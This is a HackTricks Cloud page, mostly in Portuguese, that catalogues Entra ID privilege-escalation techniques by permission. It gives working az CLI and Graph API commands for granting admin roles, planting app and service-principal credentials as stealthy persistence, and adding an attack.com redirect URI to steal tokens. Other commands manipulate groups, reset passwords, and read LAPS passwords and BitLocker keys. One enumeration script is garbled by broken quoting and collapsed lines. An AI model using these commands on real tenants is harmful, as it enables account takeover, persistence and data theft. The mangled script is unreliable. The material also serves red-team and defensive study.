Az - EntraID Privesc
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
Note
Observe que nem todas as permissĂ”es granulares que as built-in roles tĂȘm no Entra ID sĂŁo elegĂveis para serem usadas em custom roles.
FunçÔes
Role: Privileged Role Administrator
Esta role contém as permissÔes granulares necessårias para poder atribuir roles a principals e para conceder mais permissÔes às roles. Ambas as açÔes podem ser abusadas para escalar privilégios.
- Atribuir role a um usuĂĄrio:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- Adicionar mais permissÔes a um role:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
AplicaçÔes
microsoft.directory/applications/credentials/update
Isso permite que um atacante adicione credenciais (senhas ou certificados) a aplicaçÔes existentes. Se a aplicação tiver permissÔes privilegiadas, o atacante pode autenticar-se como essa aplicação e obter esses privilégios.
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
Isto permite as mesmas açÔes que applications/credentials/update, mas com escopo limitado a aplicaçÔes de diretĂłrio Ășnico.
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
Ao se tornarem proprietårios, um atacante pode manipular a aplicação, incluindo credenciais e permissÔes.
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
Um atacante pode adicionar um redirect URI a aplicaçÔes que estão a ser usadas pelos usuårios do tenant e, em seguida, compartilhar com eles login URLs que utilizem o novo redirect URL para roubar seus tokens. Observe que, se o usuårio jå estivesse autenticado na aplicação, a autenticação serå automåtica, sem que o usuårio precise aceitar nada.
Observe tambĂ©m que Ă© possĂvel alterar as permissĂ”es solicitadas pela aplicação para obter mais privilĂ©gios, mas, nesse caso, o usuĂĄrio precisarĂĄ aceitar novamente o prompt solicitando todas as permissĂ”es.
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
AplicaçÔes Privilege Escalation
Como explicado em this post era muito comum encontrar aplicaçÔes padrĂŁo que tĂȘm permissĂ”es de API do tipo Application atribuĂdas a elas. Uma permissĂŁo de API (como chamada no console do Entra ID) do tipo Application significa que a aplicação pode acessar a API e executar açÔes sem um contexto de usuĂĄrio (sem um usuĂĄrio logado na aplicação), e sem precisar de roles do Entra ID para permitir isso. Portanto, Ă© muito comum encontrar aplicaçÔes com altos privilĂ©gios em cada tenant do Entra ID.
Então, se um atacante tiver qualquer permissão/role que permita atualizar as credenciais (secret o certificate) da aplicação, o atacante pode gerar uma nova credencial e então uså-la para autenticar-se como a aplicação, obtendo todas as permissÔes que a aplicação tem.
Note que o blog mencionado compartilha algumas permissĂ”es de API de aplicaçÔes padrĂŁo da Microsoft; no entanto, algum tempo apĂłs esse relatĂłrio a Microsoft corrigiu esse problema e agora nĂŁo Ă© mais possĂvel fazer login como aplicaçÔes Microsoft. Contudo, ainda Ă© possĂvel encontrar aplicaçÔes customizadas com altos privilĂ©gios que podem ser abusadas.
Como enumerar as permissÔes de API de uma aplicação:
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Encontrar as permissÔes de API de todas as aplicaçÔes e marcar Microsoft-owned APIs
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( âf8cdef31-a31e-4b4a-93e4-5f571e91255aâ â72f988bf-86f1-41af-91ab-2d7cd011db47â )
is_microsoft_owner() { local owner=â$1â local id for id in â${MICROSOFT_OWNER_ORG_IDS[@]}â; do if [ â$ownerâ = â$idâ ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=â$1â local perm_type=â$2â local perm_id=â$3â local key value key=â${resource_app_id}|${perm_type}|${perm_id}â
value=â$(awk -F â\tâ -v k=â$keyâ â$1==k {print $2; exit}â â$tmp_perm_cacheâ)â if [ -n â$valueâ ]; then printf â%s\nâ â$valueâ return 0 fi
if [ â$perm_typeâ = âScopeâ ]; then value=â$(az ad sp show âid â$resource_app_idâ âquery âoauth2PermissionScopes[?id==â$perm_idâ].value | [0]â -o tsv 2>/dev/null || true)â elif [ â$perm_typeâ = âRoleâ ]; then value=â$(az ad sp show âid â$resource_app_idâ âquery âappRoles[?id==â$perm_idâ].value | [0]â -o tsv 2>/dev/null || true)â else value=ââ fi
[ -n â$valueâ ] || value=âUNKNOWNâ printf â%s\t%s\nâ â$keyâ â$valueâ >> â$tmp_perm_cacheâ printf â%s\nâ â$valueâ }
command -v az >/dev/null 2>&1 || { echo âaz CLI not foundâ >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo âjq not foundâ >&2; exit 1; } az account show >/dev/null
apps_json=â$(az ad app list âall âquery â[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]â -o json)â
tmp_map=â$(mktemp)â tmp_ids=â$(mktemp)â tmp_perm_cache=â$(mktemp)â trap ârm -f â$tmp_mapâ â$tmp_idsâ â$tmp_perm_cacheââ EXIT
Build unique resourceAppId values used by applications.
jq -r â.[][2][]?.resourceAppIdâ <<<â$apps_jsonâ | sort -u > â$tmp_idsâ
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n â$ridâ ] || continue sp_json=â$(az ad sp show âid â$ridâ âquery â{owner:appOwnerOrganizationId,name:displayName}â -o json 2>/dev/null || true)â owner=â$(jq -r â.owner // âUNKNOWNââ <<<â$sp_jsonâ)â name=â$(jq -r â.name // âUNKNOWNââ <<<â$sp_jsonâ)â printf â%s\t%s\t%s\nâ â$ridâ â$ownerâ â$nameâ >> â$tmp_mapâ done < â$tmp_idsâ
echo -e âappDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissionsâ
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=â$(jq -r â.[0]â <<<â$rowâ)â app_id=â$(jq -r â.[1]â <<<â$rowâ)â
while IFS= read -r rra; do resource_app_id=â$(jq -r â.resourceAppIdâ <<<â$rraâ)â map_line=â$(awk -F â\tâ -v id=â$resource_app_idâ â$1==id {print; exit}â â$tmp_mapâ)â owner_org=â$(awk -Fâ\tâ â{print $2}â <<<â$map_lineâ)â resource_name=â$(awk -Fâ\tâ â{print $3}â <<<â$map_lineâ)â
[ -n â$owner_orgâ ] || owner_org=âUNKNOWNâ [ -n â$resource_nameâ ] || resource_name=âUNKNOWNâ
if is_microsoft_owner â$owner_orgâ; then is_ms=âtrueâ else is_ms=âfalseâ fi
permissions_csv=ââ while IFS= read -r access; do perm_type=â$(jq -r â.typeâ <<<â$accessâ)â perm_id=â$(jq -r â.idâ <<<â$accessâ)â perm_value=â$(get_permission_value â$resource_app_idâ â$perm_typeâ â$perm_idâ)â perm_label=â${perm_type}:${perm_value}â if [ -z â$permissions_csvâ ]; then permissions_csv=â$perm_labelâ else permissions_csv=â${permissions_csv},${perm_label}â fi done < <(jq -c â.resourceAccess[]â <<<â$rraâ)
echo -e â${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}â done < <(jq -c â.[2][]â <<<â$rowâ) done < <(jq -c â.[]â <<<â$apps_jsonâ)
</details>
## Principais de Serviço
### `microsoft.directory/servicePrincipals/credentials/update`
Isso permite que um atacante adicione credenciais a principais de serviço existentes. Se a principal de serviço tiver privilégios elevados, o atacante poderå assumir esses privilégios.
```bash
az ad sp credential reset --id <sp-id> --append
Caution
A nova senha gerada nĂŁo aparecerĂĄ no web console, entĂŁo isso pode ser uma forma stealth de manter persistĂȘncia sobre um service principal.
Pela API elas podem ser encontradas com:az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
If you get the error "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." itâs because itâs not possible to modify the passwordCredentials property of the SP and first you need to unlock it. For it you need a permission (microsoft.directory/applications/allProperties/update) that allows you to execute:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
Isso permite que um atacante adicione credentials a service principals existentes. Se o service principal tiver privilégios elevados, o atacante poderå assumir esses privilégios.
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
Semelhante às applications, esta permissão permite adicionar mais owners a um service principal. Possuir um service principal permite controlar suas credenciais e permissÔes.
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
Caution
Depois de adicionar um novo owner, tentei removĂȘ-lo, mas a API respondeu que o mĂ©todo DELETE nĂŁo era suportado, mesmo sendo o mĂ©todo necessĂĄrio para remover o owner. Portanto, vocĂȘ nĂŁo consegue remover owners hoje em dia.
microsoft.directory/servicePrincipals/disable e enable
Essas permissÔes permitem desabilitar e habilitar service principals. Um atacante poderia usar essa permissão para habilitar um service principal ao qual consiga obter acesso de alguma forma, a fim de escalar privilégios.
Observe que, para esta técnica, o atacante precisarå de permissÔes adicionais para tomar posse do service principal habilitado.
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
Essas permissĂ”es permitem criar e obter credenciais para autenticação Ășnica (single sign-on), o que pode possibilitar o acesso a aplicaçÔes de terceiros.
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
Grupos
microsoft.directory/groups/allProperties/update
Esta permissĂŁo permite adicionar usuĂĄrios aos privileged groups, levando a privilege escalation.
az ad group member add --group <GroupName> --member-id <UserId>
Nota: Esta permissĂŁo exclui grupos atribuĂveis a funçÔes do Entra ID.
microsoft.directory/groups/owners/update
Esta permissão permite tornar-se proprietårio de grupos. O proprietårio de um grupo pode controlar os membros e as configuraçÔes do grupo, potencialmente escalando privilégios no grupo.
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
Nota: Esta permissĂŁo exclui os role-assignable groups do Entra ID.
microsoft.directory/groups/members/update
Esta permissĂŁo permite adicionar membros a um grupo. Um atacante poderia adicionar a si mesmo ou contas maliciosas a grupos privilegiados, o que pode conceder acesso elevado.
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
Esta permissĂŁo permite atualizar a regra de associação de um grupo dinĂąmico. Um atacante poderia modificar as regras dinĂąmicas para se incluir em grupos privilegiados sem adição explĂcita.
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
Nota: Esta permissĂŁo exclui grupos atribuĂveis por função do Entra ID.
Dynamic Groups Privesc
Pode ser possĂvel que usuĂĄrios escalem privilĂ©gios modificando suas prĂłprias propriedades para serem adicionados como membros de dynamic groups. Para mais informaçÔes, consulte:
UsuĂĄrios
microsoft.directory/users/password/update
Esta permissĂŁo permite redefinir a senha de usuĂĄrios nĂŁo administradores, permitindo que um atacante potencial escale privilĂ©gios para outros usuĂĄrios. Esta permissĂŁo nĂŁo pode ser atribuĂda a funçÔes personalizadas.
az ad user update --id <user-id> --password "kweoifuh.234"
microsoft.directory/users/basic/update
Esse privilĂ©gio permite modificar propriedades do usuĂĄrio. Ă comum encontrar grupos dinĂąmicos que adicionam usuĂĄrios com base nos valores dessas propriedades; portanto, essa permissĂŁo pode permitir que um usuĂĄrio defina o valor de propriedade necessĂĄrio para se tornar membro de um grupo dinĂąmico especĂfico e escalar privilĂ©gios.
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
PolĂticas de Conditional Access & MFA bypass
PolĂticas de Conditional Access mal configuradas que exigem MFA podem ser contornadas, verifique:
Az - Conditional Access Policies & MFA Bypass
Dispositivos
microsoft.directory/devices/registeredOwners/update
Esta permissĂŁo permite que atacantes se atribuam como proprietĂĄrios de dispositivos para obter controle ou acesso Ă s configuraçÔes e dados especĂficos do dispositivo.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
Essa permissĂŁo permite que atacantes associem sua conta a dispositivos para obter acesso ou contornar polĂticas de segurança.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
Esta permissĂŁo permite que atacantes leiam as propriedades das credenciais de conta de administrador local armazenadas em backup para dispositivos ingressados no Microsoft Entra, incluindo a senha
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
Esta permissĂŁo permite acessar chaves do BitLocker, o que pode permitir que um atacante descriptografe drives, comprometendo a confidencialidade dos dados.
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
Outras permissÔes interessantes (TODO)
microsoft.directory/applications/permissions/updatemicrosoft.directory/servicePrincipals/permissions/updatemicrosoft.directory/applications.myOrganization/allProperties/updatemicrosoft.directory/applications/allProperties/updatemicrosoft.directory/servicePrincipals/appRoleAssignedTo/updatemicrosoft.directory/applications/appRoles/updatemicrosoft.directory/applications.myOrganization/permissions/update
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

